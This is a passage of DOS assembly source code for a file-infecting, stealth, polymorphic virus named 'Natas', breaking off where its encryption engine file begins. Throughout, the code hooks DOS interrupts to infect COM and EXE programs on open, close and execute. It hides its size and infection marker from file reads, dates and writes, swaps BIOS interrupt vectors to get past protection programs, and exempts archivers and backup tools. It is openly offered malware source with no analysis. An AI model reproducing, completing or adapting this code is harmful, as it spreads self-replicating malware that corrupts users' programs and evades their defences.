  849.                 jbe     lseek_exit
  850.                 call    is_specialfile          ; dont hide true size from
  851.                                                 ; helpers
  852.                 je      lseek_exit
  853.                 sub     ax,file_size
  854.                 sbb     dx,0                    ; hide virus at end
  855.                 mov     word ptr ds:[di.dcb_pos],ax
  856.                 mov     word ptr ds:[di.dcb_pos+2],dx ; set position in DCB
  857. lseek_exit:     clc
  858.                 call    save_returns            ; save AX/flags
  859.                 mov     ss:[bp.reg_dx],dx
  860.                 jmp     retf_21
  861.  
  862. is_date:        cmp     ax,5700h                ; get date?
  863.                 je      get_date
  864.                 cmp     ax,5701h                ; set date?
  865.                 jne     is_read
  866.                 call    get_dcb
  867.                 jbe     date_err
  868.                 cmp     dh,years                ; already setting 100 years?
  869.                 jnb     date_err
  870.                 add     dh,years                ; dont erase marker
  871. get_date:       call    is_specialfile          ; do not hide date for
  872.                                                 ; helpers
  873.                 je      date_err
  874.                 call    call_21_file            ; get/set date
  875.                 jnc     date_check
  876. date_err:       jmp     jump_21
  877.  
  878. date_check:     cmp     dh,years                ; infected?
  879.                 jb      date_ok
  880.                 sub     dh,years
  881. date_ok:        clc
  882.                 call    save_returns            ; save ax/flags
  883.                 mov     ss:[bp.reg_cx],cx
  884.                 mov     ss:[bp.reg_dx],dx       ; save time/date
  885.                 jmp     retf_21
  886.                 
  887. is_read:        cmp     ah,3fh                  ; reading file?
  888.                 je      do_read
  889. no_read:        jmp     is_write
  890.  
  891. do_read:        call    get_dcb                 ; get DCB address
  892.                 jbe     no_read
  893.                 call    is_specialfile
  894.                 je      no_read
  895.                 les     ax,ds:[di.dcb_size]     ; get size of file                                
  896.                 mov     bx,es
  897.                 les     dx,ds:[di.dcb_pos]      ; get current position
  898.                 mov     si,es
  899.                 and     cs:read_bytes,0
  900.                 or      si,si                   ; in 1st 64k?
  901.                 jnz     read_high
  902.                 cmp     dx,18h                  ; reading header?
  903.                 jnb     read_high
  904.                 push    cx
  905.                 add     cx,dx
  906.                 cmc
  907.                 jnc     read_above
  908.                 cmp     cx,18h                  ; read goes above header?
  909. read_above:     pop     cx
  910.                 jb      read_below
  911.                 mov     cx,18h
  912.                 sub     cx,dx
  913. read_below:     push    ax bx                   ; save size
  914.                 push    dx                      ; position
  915.                 sub     dx,18h
  916.                 add     ax,dx                   ; get position in header
  917.                 cmc
  918.                 sbb     bx,si
  919.                 xchg    word ptr ds:[di.dcb_pos],ax
  920.                 xchg    word ptr ds:[di.dcb_pos+2],bx ; lseek to header
  921.                 push    ax bx
  922.                 push    ds
  923.                 mov     ah,3fh                
  924.                 mov     dx,ss:[bp.reg_dx]
  925.                 mov     ds,ss:[bp.reg_ds]
  926.                 call    call_21_file            ; read file
  927.                 pop     ds
  928.                 pop     word ptr ds:[di.dcb_pos+2]
  929.                 pop     word ptr ds:[di.dcb_pos]
  930.                 pop     dx
  931.                 pushf
  932.                 add     dx,ax                   ; adjust position
  933.                 add     cs:read_bytes,ax        ; remember # of bytes read
  934.                 popf
  935.                 pop     bx ax
  936.                 jnc     read_high
  937.                 jmp     jump_21
  938.  
  939. read_high:      mov     word ptr ds:[di.dcb_pos],dx ; update position
  940.                 mov     word ptr ds:[di.dcb_pos+2],si
  941.                 mov     cx,ss:[bp.reg_cx]       ; number of bytes to read
  942.                 sub     cx,cs:read_bytes
  943.                 sub     ax,file_size
  944.                 sbb     bx,0                    ; get original size
  945.                 push    ax bx
  946.                 sub     ax,dx
  947.                 sbb     bx,si                   ; in virus now?
  948.                 pop     bx ax
  949.                 jnc     read_into
  950.                 xor     cx,cx                   ; read 0 bytes
  951.                 jmp     read_fake
  952.  
  953. read_into:      add     dx,cx
  954.                 adc     si,0                    ; get position after read
  955.                 cmp     bx,si                   ; read extends into virus?
  956.                 ja      read_fake
  957.                 jb      read_adjust
  958.                 cmp     ax,dx
  959.                 jnb     read_fake
  960. read_adjust:    sub     dx,cx                   ; get position again
  961.                 xchg    cx,ax
  962.                 sub     cx,dx   ; # of bytes to read = Original size - Pos
  963. read_fake:      mov     ah,3fh
  964.                 mov     dx,ss:[bp.reg_dx]
  965.                 add     dx,cs:read_bytes
  966.                 mov     ds,ss:[bp.reg_ds]
  967.                 call    call_21_file            ; read file
  968.                 jc      read_exit
  969.                 add     ax,0
  970. read_bytes      =       word ptr $ - 2
  971.                 clc
  972. read_exit:      call    save_returns
  973.                 jmp     retf_21
  974.                 
  975.  
  976. is_write:       cmp     ah,40h                  ; write?
  977.                 je      do_write
  978. no_write:       jmp     is_infect
  979.  
  980. do_write:       call    get_dcb
  981.                 jbe     no_write
  982.                 les     ax,ds:[di.dcb_size]     ; get file size
  983.                 mov     bx,es
  984.                 sub     ax,18h
  985.                 sbb     bx,0                    ; get header position
  986.                 xchg    ax,word ptr ds:[di.dcb_pos]
  987.                 xchg    bx,word ptr ds:[di.dcb_pos+2] ; lseek to header
  988.                 push    ax bx
  989.                 mov     ax,2
  990.                 xchg    ax,ds:[di.dcb_mode]     ; read/write mode
  991.                 push    ax
  992.                 push    ds cs
  993.                 pop     ds es
  994.                 call    read_header             ; read 18h bytes
  995.                 pop     es:[di.dcb_mode]        ; restore access mode
  996.                 jc      write_rest_pos
  997.                 mov     word ptr es:[di.dcb_pos],ax
  998.                 mov     word ptr es:[di.dcb_pos+2],ax ; lseek to start
  999.                 call    write_header                  ; write old header
  1000.                 jc      write_rest_pos
  1001.                 push    es
  1002.                 pop     ds
  1003.                 sub     word ptr ds:[di.dcb_size],file_size
  1004.                 sbb     word ptr ds:[di.dcb_size+2],ax    ; truncate at virus
  1005.                 sub     byte ptr ds:[di.dcb_date+1],years ; remove 100 years
  1006. write_rest_pos: pop     word ptr es:[di.dcb_pos+2]
  1007.                 pop     word ptr es:[di.dcb_pos]
  1008.                 jmp     jump_21
  1009.  
  1010.  
  1011. is_infect:      cmp     ah,3eh                  ; Close?
  1012.                 je      infect_3e
  1013.                 cmp     ax,4b00h                ; Execute?
  1014.                 je      infect_4b
  1015.                 jmp     jump_21
  1016.  
  1017. infect_4b:      mov     ax,3d00h                ; Open file
  1018.                 cmp     ax,0
  1019.                 org     $ - 2
  1020. infect_3e:      mov     ah,45h                  ; Duplicate handle
  1021.                 call    int_2_bios              ; lock out protection programs
  1022.                 call    call_21_file            ; get handle
  1023.                 mov     cs:handle,ax
  1024.                 mov     ax,4408h
  1025.                 cwd
  1026.                 jc      undo_bios
  1027.                 call    get_dcb                 ; get DCB for handle
  1028.                 jb      cant_infect
  1029.                 jne     cant_infect             ; error/already infected
  1030.                 mov     bl,00111111b
  1031.                 and     bl,byte ptr ds:[di.dcb_dev_attr] ; get drive code
  1032.                 mov     dl,bl                   ; DX=00**
  1033.                 inc     bx                      ; 0=default,1=a,2=b,3=c,etc.
  1034.                 call    call_21                 ; drive removable?
  1035.                 mov     cx,1h
  1036.                 push    cs
  1037.                 pop     es
  1038.                 jc      test_prot_drive
  1039.                 dec     ax                      ; 1=non-removable
  1040.                 jz      no_protect
  1041.                 jmp     test_protect
  1042.  
  1043. test_prot_drive:cmp     dl,1                    ; A or B?
  1044.                 ja      no_protect
  1045. test_protect:   mov     ax,201h
  1046.                 mov     bx,offset disk_buff
  1047.                 int     13h                     ; read sector
  1048.                 jc      cant_infect
  1049.                 mov     ax,301h
  1050.                 int     13h                     ; write it back
  1051.                 jc      cant_infect
  1052. no_protect:     inc     cx                      ; CX=2
  1053.                 xchg    cx,ds:[di.dcb_mode]     ; read/write access mode
  1054.                 push    cx
  1055.                 xor     ax,ax
  1056.                 xchg    ah,ds:[di.dcb_attr]     ; attribute=0
  1057.                 test    ah,00000100b            ; system file?
  1058.                 push    ax
  1059.                 jne     cant_system
  1060.                 cbw
  1061.                 cwd
  1062.                 xchg    ax,word ptr ds:[di.dcb_pos]
  1063.                 xchg    dx,word ptr ds:[di.dcb_pos+2] ; lseek to 0
  1064.                 push    ax dx
  1065.                 mov     bp,-'OC'
  1066.                 add     bp,word ptr ds:[di.dcb_ext]   ; BP=0 of CO
  1067.                 jnz     not_com
  1068.                 mov     bp,-'MO'
  1069.                 add     bp,word ptr ds:[di.dcb_ext+1] ; BP=0 if OM
  1070. not_com:        call    infect
  1071.                 pushf
  1072.                 call    get_dcb
  1073.                 popf
  1074.                 jc      not_infected
  1075.                 add     byte ptr ds:[di.dcb_date+1],years   ; add 100 years
  1076. not_infected:   or      byte ptr ds:[di.dcb_dev_attr+1],40h ; no time/date
  1077.                 pop     word ptr ds:[di.dcb_pos+2]
  1078.                 pop     word ptr ds:[di.dcb_pos]
  1079. cant_system:    pop     word ptr ds:[di.dcb_attr-1] ; restore attribute
  1080.                 pop     ds:[di.dcb_mode]        ; restore access mode
  1081. cant_infect:    mov     ah,3eh
  1082.                 call    call_21_file            ; close file
  1083. undo_bios:      call    int_2_bios              ; restore interrupts
  1084.                 
  1085. ;=====( Jump on to int 21h )=================================================;
  1086.  
  1087. jump_21:        call    undo_24                 ; unhook int 24h
  1088.                 push    cs
  1089.                 pop     ds
  1090.                 mov     al,1h
  1091.                 mov     di,offset int_1
  1092.                 cmp     byte ptr ds:[di+origin-int_1],al ; file origin?
  1093.                 jne     jump_21_1
  1094.                 call    get_int                 ; get int 1h address
  1095.                 mov     ds:[di],bx
  1096.                 mov     ds:[di + 2],es
  1097.                 mov     byte ptr ds:[di+inst_count-int_1],5
  1098.                 mov     ds:trace_mode,step_21
  1099.                 mov     dx,offset tracer
  1100.                 call    set_int                 ; hook int 1h
  1101.                 call    pop_all
  1102.                 push    si
  1103.                 pushf
  1104.                 pop     si
  1105.                 call    si_tf                   ; set TF
  1106.                 pop     si
  1107. go_21:          cli
  1108.                 mov     ss,cs:int_21_ss
  1109.                 mov     sp,cs:int_21_sp         ; restore stack
  1110.                 sti
  1111. go_2_21:        jmp     cs:int_21
  1112.                 
  1113. jump_21_1:      call    pop_all
  1114.                 jmp     go_21
  1115.  
  1116. ;=====( actual infection routine )===========================================;
  1117.  
  1118. infect:         push    cs
  1119.                 pop     ds
  1120.                 call    read_header             ; read first 18h bytes
  1121.                 jc      inf_bad_file
  1122.                 mov     si,dx
  1123.                 mov     di,offset work_header
  1124.                 cld
  1125.                 rep     movsb                   ; copy header to work_header
  1126.                 call    get_dcb
  1127.                 les     ax,ds:[di.dcb_size]     ; get file size
  1128.                 mov     dx,es
  1129.                 mov     word ptr ds:[di.dcb_pos],ax
  1130.                 mov     word ptr ds:[di.dcb_pos+2],dx ; lseek to end
  1131.                 push    cs cs
  1132.                 pop     es ds
  1133.                 mov     cx,ds:[si]              ; get first 2 bytes
  1134.                 cmp     cx,'MZ'                 ; .EXE file?
  1135.                 je      inf_exe
  1136.                 cmp     cx,'ZM'                 ; .EXE file?
  1137.                 je      inf_exe
  1138.                 or      dx,bp                   ; COM file and < 64k?
  1139.                 jnz     inf_bad_file
  1140.                 cmp     ax,0-(file_size+100)
  1141.                 ja      inf_bad_file
  1142.                 cmp     ax,1000
  1143.                 jb      inf_bad_file
  1144.                 mov     byte ptr ds:[si],0e9h   ; build jump
  1145.                 inc     ah                      ; Add PSP size (100h)
  1146.                 push    ax                      ; save IP for engine
  1147.                 add     ax,offset decrypt-103h  ; get jump disp. (- PSP size)
  1148.                 mov     ds:[si+1],ax
  1149.                 jmp     append_vir
  1150.  
  1151. inf_bad_file:   stc
  1152.                 retn
  1153.  
  1154. inf_exe:        cmp     word ptr ds:[si.eh_max_mem],-1
  1155.                 jne     inf_bad_file
  1156.                 mov     bp,ax
  1157.                 mov     di,dx                   ; save size in DI:BP
  1158.                 mov     cx,200h
  1159.                 div     cx                      ; divide into pages
  1160.                 or      dx,dx                   ; Any remainder?
  1161.                 jz      no_round
  1162.                 inc     ax
  1163. no_round:       sub     ax,ds:[si.eh_size]      ; size same as header says?
  1164.                 jne     inf_bad_file
  1165.                 sub     dx,ds:[si.eh_modulo]
  1166.                 jne     inf_bad_file
  1167.                 mov     ax,file_size            ; virus size
  1168.                 add     ax,bp
  1169.                 adc     dx,di                   ; + program size
  1170.                 div     cx                      ; / 512
  1171.                 or      dx,dx                   ; round up?
  1172.                 jz      no_round1
  1173.                 inc     ax
  1174. no_round1:      mov     ds:[si.eh_size],ax
  1175.                 mov     ds:[si.eh_modulo],dx    ; set new size
  1176.                 mov     bx,0-(file_size+1000)
  1177.                 xor     cx,cx
  1178. get_exe_ip:     cmp     bp,bx                   ; make sure virus does not
  1179.                                                 ; cross segments
  1180.                 jb      got_exe_ip
  1181.                 sub     bp,10h                  ; down 10h bytes
  1182.                 loop    get_exe_ip              ; up 1 paragraph
  1183. got_exe_ip:     cmp     di,0fh
  1184.                 ja      inf_bad_file
  1185.                 xchg    cx,ax
  1186.                 mov     cl,4
  1187.                 ror     di,cl                   ; get segment displacement
  1188.                 or      ax,ax
  1189.                 jz      no_para_add
  1190.                 sub     di,ax                   ; Add segments from LOOP
  1191.                 jnc     inf_bad_file
  1192. no_para_add:    sub     di,ds:[si.eh_size_header] ; CS-header size in 
  1193.                                                 ; paragraphs
  1194.                 push    bp                      ; save offset of v_start
  1195.                 add     bp,decrypt-v_start
  1196.                 mov     ds:[si.eh_ip],bp        ; set IP
  1197.                 mov     ds:[si.eh_cs],di        ; set CS
  1198.                 add     bp,512                  ; 512 bytes of stack
  1199.                 mov     ds:[si.eh_sp],bp        ; set SP
  1200.                 mov     ds:[si.eh_ss],di        ; set SS
  1201.                 mov     bp,8000h                ; Tell engine "Exe file"
  1202.                 sar     bx,cl                   ; 0 - ((file_size+1000h)/16)
  1203.                 mov     ax,ds:[si.eh_min_mem]
  1204.                 sub     ax,bx                   ; add file_size+1000h/16
  1205.                 jnb     append_vir
  1206.                 mov     ds:[si.eh_min_mem],ax
  1207.  
  1208. append_vir:     pop     ax
  1209.                 call    engine                  ; encrypt/write/decrypt
  1210.                 push    bp             
  1211.                 popf
  1212.                 jc      append_vir_err
  1213.                 call    get_dcb
  1214.                 mov     word ptr ds:[di.dcb_pos],cx
  1215.                 mov     word ptr ds:[di.dcb_pos+2],cx ; lseek to start
  1216.                 mov     ah,40h
  1217.                 mov     dx,offset work_header
  1218.                 push    cs
  1219.                 pop     ds
  1220.                 call    header_op               ; write new header to file
  1221. append_vir_err: retn
  1222.                 
  1223. ;=====( Get DCB address for file )===========================================;
  1224.  
  1225. get_dcb:        push    ax bx 
  1226.                 mov     ax,1220h
  1227.                 mov     bx,cs:handle            ; get file handle
  1228.                 int     2fh                     ; get DCB number address
  1229.                 jc      get_dcb_fail
  1230.                 mov     ax,1216h
  1231.                 mov     bl,es:[di]              ; get DCB number
  1232.                 cmp     bl,-1                   ; Handle Openned?
  1233.                 cmc
  1234.                 je      get_dcb_fail
  1235.                 int     2fh                     ; get DCB address
  1236.                 jc      get_dcb_fail
  1237.                 push    es
  1238.                 pop     ds
  1239.                 test    byte ptr ds:[di.dcb_dev_attr],80h ; device or file?
  1240.                 cmc
  1241.                 jne     get_dcb_fail
  1242.                 test    byte ptr ds:[di.dcb_date+1],80h ; infected?
  1243. get_dcb_fail:   pop     bx ax               
  1244.                 retn
  1245.  
  1246. ;=====( Swap original 13h/15h/40h addresses with IVT addresses )=============;
  1247.  
  1248. int_2_bios:     push    ax bx dx ds
  1249.                 mov     al,13h                  ; int 13h
  1250.                 mov     di,offset int_13
  1251. int_2_bios_lp:  push    cs
  1252.                 pop     ds
  1253.                 call    get_int                 ; get int address               
  1254.                 mov     dx,es
  1255.                 xchg    bx,ds:[di]              ; swap offsets
  1256.                 cld
  1257.                 scasw
  1258.                 xchg    dx,bx
  1259.                 xchg    bx,ds:[di]              ; swap segments
  1260.                 scasw
  1261.                 mov     ds,bx                   ; DS:DX=new address
  1262.                 call    set_int                 ; set int to DS:DX
  1263.                 cmp     al,15h                  
  1264.                 mov     al,15h
  1265.                 jnb     int_2_bios_40           ; CY AL=13h
  1266.                 add     di,4
  1267.                 jmp     int_2_bios_lp
  1268.  
  1269. int_2_bios_40:  mov     al,40h
  1270.                 je      int_2_bios_lp           ; ZR AL=15h else AL=40h, exit
  1271.                 pop     ds dx bx ax
  1272.                 retn
  1273.  
  1274. ;=====( Read/write header to file )==========================================;
  1275.  
  1276. read_header:    mov     ah,3fh
  1277.                 cmp     ax,0
  1278.                 org     $ - 2
  1279. write_header:   mov     ah,40h
  1280.                 mov     dx,offset header
  1281. header_op:      mov     cx,18h
  1282.                 call    call_21_file             ; read/write header
  1283.                 jc      read_write_err
  1284.                 sub     ax,cx
  1285. read_write_err: retn
  1286.  
  1287. ;=====( Unhook int 24h )=====================================================;
  1288.  
  1289. undo_24:        mov     al,24h
  1290.                 lds     dx,cs:int_24
  1291.                 call    set_int                 ; unhook int 24h
  1292.                 in      al,21h
  1293.                 and     al,not 2                ; enable keyboard
  1294.                 out     21h,al
  1295.                 retn
  1296.  
  1297. ;=====( Save returns after int 21h call )====================================;
  1298.  
  1299. save_returns:   mov     ss:[bp.reg_ax],ax
  1300.                 pushf
  1301.                 pop     ss:[bp.reg_f]
  1302.                 retn
  1303.  
  1304. ;=====( Return ZF set if ARJ, PKZIP, LHA or MODEM )==========================;
  1305.  
  1306. is_specialfile: push    ax cx si di es
  1307.                 mov     al,0
  1308. check_special   =       byte ptr $ - 1
  1309.                 or      al,al                   ; Check for special?
  1310.                 jnz     it_is_special
  1311.                 call    get_psp                 ; get MCB of current PSP
  1312.                 mov     ax,es:[di]              ; get 1st 2 letters of name
  1313.                 cmp     ax,'RA'                 ; ARj?
  1314.                 je      it_is_special
  1315.                 cmp     ax,'HL'                 ; LHa?
  1316.                 je      it_is_special
  1317.                 cmp     ax,'KP'                 ; PKzip?
  1318.                 je      it_is_special
  1319.                 mov     cx,2
  1320.                 mov     si,offset backup
  1321. is_it_mod_bak:  push    cx di
  1322.                 mov     cl,8
  1323.                 lods    byte ptr cs:[si]        ; get 'B' or 'M'
  1324.                 xor     al,66h + 6h             ; decrypt
  1325.                 repne   scasb
  1326.                 jne     is_it_mod
  1327.                 cmp     cl,3
  1328.                 jb      is_it_mod
  1329.                 mov     cl,4
  1330. is_ode_ack:     lods    byte ptr cs:[si]
  1331.                 xor     al,66h + 6h
  1332.                 jz      is_it_mod               ; 0 (done)?
  1333.                 scasb
  1334.                 loope   is_ode_ack
  1335. is_it_mod:      mov     si,offset modem
  1336.                 pop     di cx
  1337.                 loopne  is_it_mod_bak
  1338. it_is_special:  pop     es di si cx ax
  1339.                 retn
  1340.  
  1341. backup:         db      'B' xor (66h + 6h) 
  1342.                 db      'A' xor (66h + 6h)
  1343.                 db      'C' xor (66h + 6h)
  1344.                 db      'K' xor (66h + 6h)
  1345.                 db      0   xor (66h + 6h)
  1346.  
  1347. modem:          db      'M' xor (66h + 6h)
  1348.                 db      'O' xor (66h + 6h)
  1349.                 db      'D' xor (66h + 6h)
  1350.                 db      'E' xor (66h + 6h)
  1351.                 db      'M' xor (66h + 6h)
  1352.  
  1353.  
  1354. ;=====( get current PSP segment )============================================;
  1355.  
  1356. get_psp:        push    ax bx
  1357.                 mov     ah,62h
  1358.                 call    call_21                 ; get PSP segment
  1359.                 dec     bx
  1360.                 mov     es,bx                   ; MCB of current program
  1361.                 mov     di,8h                   ; offset of file name
  1362.                 cld
  1363.                 pop     bx ax
  1364.                 retn
  1365.                 
  1366. ;=====( Get DTA address )====================================================;
  1367.  
  1368. get_dta:        mov     ah,2fh
  1369.                 call    call_21                 ; DTA address into ES:BX
  1370.                 push    es
  1371.                 pop     ds
  1372.                 retn
  1373.  
  1374. call_dos_13:    call    swap_13
  1375.                 pushf
  1376.                 call    cs:dos_13
  1377.                 call    swap_13
  1378.                 retn
  1379.  
  1380. call_disk:      test    dl,80h                  ; ZF -> Floppy disk (int 40h)
  1381.                 je      call_40
  1382.  
  1383. call_13:        pushf
  1384.                 call    cs:int_13
  1385.                 retn
  1386.  
  1387. call_21_file:   mov     bx,0
  1388. handle          =       word ptr $ - 2
  1389.  
  1390. call_21:        pushf
  1391.                 push    cs
  1392.                 call    go_2_21
  1393.                 retn
  1394.  
  1395. call_40:        pushf
  1396.                 call    cs:int_40
  1397.                 retn
  1398.  
  1399. include eng.asm
  1400.  
  1401.                 db      "Natas",0
  1402.  
  1403. even
  1404.  
  1405. decrypt:        mov     word ptr ds:[100h],1f0eh        ; PUSH CS/POP DS
  1406.                 mov     byte ptr ds:[102h],0e8h         ; CALL
  1407.                 jmp     file_start
  1408.                 
  1409.                 org     decrypt + 150
  1410.  
  1411. header          dw      18h / 2 dup(20cdh)
  1412.  
  1413. file_end:
  1414.  
  1415. work_header     dw      18h / 2 dup(?)
  1416.                 
  1417. write_buff:     db      encode_end-encode dup(?)
  1418.  
  1419. int_21_ss       dw      ?
  1420. int_21_sp       dw      ?
  1421.  
  1422.                 dw      256 / 2 dup(?)
  1423. temp_stack:            
  1424.  
  1425. jump_code_13    db      5 dup(?)
  1426. jump_code_21    db      5 dup(?)
  1427.  
  1428. int_1           dd      ?
  1429. int_24          dd      ?
  1430.  
  1431. int_13          dd      ?
  1432. dos_13          dd      ?
  1433. int_15          dd      ?
  1434. int_40          dd      ?
  1435. int_21          dd      ?
  1436.  
  1437. new_24:         db      3 dup(?)
  1438.  
  1439. push_pop_ret    dw      ?
  1440.  
  1441. pointer         dw      ?
  1442. disp            dw      ?
  1443. encode_ptr      dw      ?
  1444. encode_enc_ptr  dw      ?
  1445.  
  1446. key_reg         db      ?
  1447. count_reg       db      ?
  1448. ptr_reg         db      ?
  1449. ptr_reg1        db      ?
  1450. modify_op       db      ?
  1451.  
  1452.  
  1453. origin          db      ?
  1454. inst_count      db      ?
  1455.  
  1456. disk_buff       db      512 dup(?)
  1457.  
  1458. v_end:
  1459.  
  1460.  
  1461. ;=====( Very useful structures )=============================================;
  1462.  
  1463.  
  1464.  
  1465. ;=====( Memory Control Block structure )=====================================;
  1466.  
  1467. mcb             struc
  1468. mcb_sig         db      ?               ; 'Z' or 'M'
  1469. mcb_owner       dw      ?               ; attribute of owner
  1470. mcb_size        dw      ?               ; size of mcb block
  1471. mcb_name        db      8 dup(?)        ; file name of owner
  1472. mcb             ends
  1473.  
  1474.  
  1475. ;=====( For functions 11h and 12h )==========================================;
  1476.  
  1477.  
  1478. Directory       STRUC
  1479. DS_Drive        db ?
  1480. DS_Name         db 8 dup(0)
  1481. DS_Ext          db 3 dup(0)
  1482. DS_Attr         db ?
  1483. DS_Reserved     db 10 dup(0)
  1484. DS_Time         dw ?
  1485. DS_Date         dw ?
  1486. DS_Start_Clust  dw ?
  1487. DS_Size         dd ?
  1488. Directory       ENDS
  1489.  
  1490.  
  1491. ;=====( for functions 4eh and 4fh )==========================================;
  1492.  
  1493.  
  1494. DTA             STRUC
  1495. DTA_Reserved    db 21 dup(0)
  1496. DTA_Attr        db ?
  1497. DTA_Time        dw ?
  1498. DTA_Date        dw ?
  1499. DTA_Size        dd ?
  1500. DTA_Name        db 13 dup(0)
  1501. DTA             ENDS
  1502.  
  1503.  
  1504. Exe_Header      STRUC
  1505. EH_Signature    dw ?                    ; Set to 'MZ' or 'ZM' for .exe files
  1506. EH_Modulo       dw ?                    ; remainder of file size/512
  1507. EH_Size         dw ?                    ; file size/512
  1508. EH_Reloc        dw ?                    ; Number of relocation items
  1509. EH_Size_Header  dw ?                    ; Size of header in paragraphs
  1510. EH_Min_Mem      dw ?                    ; Minimum paragraphs needed by file
  1511. EH_Max_Mem      dw ?                    ; Maximum paragraphs needed by file
  1512. EH_SS           dw ?                    ; Stack segment displacement
  1513. EH_SP           dw ?                    ; Stack Pointer
  1514. EH_Checksum     dw ?                    ; Checksum, not used
  1515. EH_IP           dw ?                    ; Instruction Pointer of Exe file
  1516. EH_CS           dw ?                    ; Code segment displacement of .exe
  1517. eh_1st_reloc    dw      ?               ; first relocation item
  1518. eh_ovl          dw      ?               ; overlay number
  1519. Exe_Header      ENDS                      
  1520.  
  1521. Boot_Sector             STRUC
  1522. bs_Jump                 db 3 dup(?)
  1523. bs_Oem_Name             db 8 dup(?)
  1524. bs_Bytes_Per_Sector     dw ?
  1525. bs_Sectors_Per_Cluster  db ?
  1526. bs_Reserved_Sectors     dw ?               
  1527. bs_FATs                 db ?             ; Number of FATs
  1528. bs_Root_Dir_Entries     dw ?             ; Max number of root dir entries
  1529. bs_Sectors              dw ?             ; number of sectors; small
  1530. bs_Media                db ?             ; Media descriptor byte
  1531. bs_Sectors_Per_FAT      dw ?
  1532. bs_Sectors_Per_Track    dw ?               
  1533. bs_Heads                dw ?             ; number of heads
  1534. bs_Hidden_Sectors       dd ?
  1535. bs_Huge_Sectors         dd ?             ; number of sectors; large
  1536. bs_Drive_Number         db ?
  1537. bs_Reserved             db ?
  1538. bs_Boot_Signature       db ?
  1539. bs_Volume_ID            dd ?
  1540. bs_Volume_Label         db 11 dup(?)
  1541. bs_File_System_Type     db 8 dup(?)
  1542. Boot_Sector             ENDS
  1543.                 
  1544.                 
  1545. Partition_Table         STRUC
  1546. pt_Code                 db 1beh dup(?)  ; partition table code
  1547. pt_Status               db ?            ; 0=non-bootable 80h=bootable
  1548. pt_Start_Head           db ?            
  1549. pt_Start_Sector_Track   dw ?
  1550. pt_Type                 db ?            ; 1 = DOS 12bit FAT 4 = DOS 16bit FAT
  1551. pt_End_Head             db ?
  1552. pt_End_Sector_Track     dw ?
  1553. pt_Starting_Abs_Sector  dd ?
  1554. pt_Number_Sectors       dd ?
  1555. Partition_Table         ENDS
  1556.  
  1557.  
  1558. int_1_stack     STRUC
  1559. st_ip           dw ?                    ; offset of next instruction after
  1560.                                         ; interrupt
  1561. st_cs           dw ?                    ; segment of next instruction
  1562. st_flags        dw ?                    ; flags when interrupt was called
  1563. int_1_stack     ENDS
  1564.  
  1565. ;----------------------------------------------------------------------------;
  1566. ;               Dcb description for DOS 3+                                   ;   
  1567. ;                                                                            ;
  1568. ;      Offset  Size    Description                                           ;
  1569. ;       00h    WORD    number of file handles referring to this file         ;
  1570. ;       02h    WORD    file open mode (see AH=3Dh)                           ;
  1571. ;              bit 15 set if this file opened via FCB                        ;
  1572. ;       04h    BYTE    file attribute                                        ;
  1573. ;       05h    WORD    device info word (see AX=4400h)                       ;
  1574. ;       07h    DWORD   pointer to device driver header if character device   ;
  1575. ;              else pointer to DOS Drive Parameter Block (see AH=32h)        ;
  1576. ;       0Bh    WORD    starting cluster of file                              ;
  1577. ;       0Dh    WORD    file time in packed format (see AX=5700h)             ;
  1578. ;       0Fh    WORD    file date in packed format (see AX=5700h)             ;
  1579. ;       11h    DWORD   file size                                             ;
  1580. ;       15h    DWORD   current offset in file                                ;
  1581. ;       19h    WORD    relative cluster within file of last cluster accessed ;
  1582. ;       1Bh    WORD    absolute cluster number of last cluster accessed      ;
  1583. ;              0000h if file never read or written???                        ;
  1584. ;       1Dh    WORD    number of sector containing directory entry           ;
  1585. ;       1Fh    BYTE    number of dir entry within sector (byte offset/32)    ;
  1586. ;       20h 11 BYTEs   filename in FCB format (no path/period, blank-padded) ;
  1587. ;       2Bh    DWORD   (SHARE.EXE) pointer to previous SFT sharing same file ;
  1588. ;       2Fh    WORD    (SHARE.EXE) network machine number which opened file  ;
  1589. ;       31h    WORD    PSP segment of file's owner (see AH=26h)              ;
  1590. ;       33h    WORD    offset within SHARE.EXE code segment of               ;
  1591. ;              sharing record (see below)  0000h = none                      ;
  1592. ;----------------------------------------------------------------------------;                                                                            
  1593.  
  1594.  
  1595.  
  1596. dcb             struc
  1597. dcb_users       dw      ?
  1598. dcb_mode        dw      ?
  1599. dcb_attr        db      ?
  1600. dcb_dev_attr    dw      ?
  1601. dcb_drv_addr    dd      ?
  1602. dcb_1st_clst    dw      ?
  1603. dcb_time        dw      ?
  1604. dcb_date        dw      ?
  1605. dcb_size        dd      ?
  1606. dcb_pos         dd      ?
  1607. dcb_last_clst   dw      ?
  1608. dcb_current_clst dw     ?
  1609. dcb_dir_sec     dw      ?
  1610. dcb_dir_entry   db      ?
  1611. dcb_name        db      8 dup(?)
  1612. dcb_ext         db      3 dup(?)
  1613. dcb_useless1    dw      ?
  1614. dcb_useless2    dw      ?
  1615. dcb_useless3    dw      ?
  1616. dcb_psp_seg     dw      ?
  1617. dcb_useless4    dw      ?
  1618. dcb             ends
  1619.  
  1620. bpb                     STRUC
  1621. bpb_Bytes_Per_Sec       dw ?
  1622. bpb_Sec_Per_Clust       db ?
  1623. bpb_Reserved_Sectors    dw ?               
  1624. bpb_FATs                db ?             ; Number of FATs
  1625. bpb_Root_Dir_Entries    dw ?             ; Max number of root dir entries
  1626. bpb_Sectors             dw ?             ; number of sectors; small
  1627. bpb_Media               db ?             ; Media descriptor byte
  1628. bpb_Sectors_Per_FAT     dw ?
  1629. bpb_Sectors_Per_Track   dw ?               
  1630. bpb_Heads               dw ?             ; number of heads
  1631. bpb_Hidden_Sectors      dd ?
  1632. bpb_Huge_Sectors        dd ?             ; number of sectors; large
  1633. bpb_Drive_Number        db ?
  1634. bpb_Reserved            db ?
  1635. bpb_Boot_Signature      db ?
  1636. bpb_Volume_ID           dd ?
  1637. bpb_Volume_Label        db 11 dup(?)
  1638. bpb_File_System_Type    db 8 dup(?)
  1639. bpb                     ENDS
  1640.  
  1641.  
  1642. register        struc
  1643. reg_es          dw      ?
  1644. reg_ds          dw      ?
  1645. reg_di          dw      ?
  1646. reg_si          dw      ?
  1647. reg_bp          dw      ?
  1648. reg_dx          dw      ?
  1649. reg_cx          dw      ?
  1650. reg_bx          dw      ?
  1651. reg_ax          dw      ?
  1652. reg_f           dw      ?
  1653. register        ends
  1654.  
  1655. sys_file        struc
  1656. sys_next        dd      ?
  1657. sys_strat       dw      ?
  1658. sys_int         dw      ?
  1659. sys_file        ends
  1660.                 
  1661.                 
  1662.                 end
  1663. -----------------------------<<eng.asm>>---------------------------------------
  1664.  
  1665. _ax             equ     0
  1666. _cx             equ     1
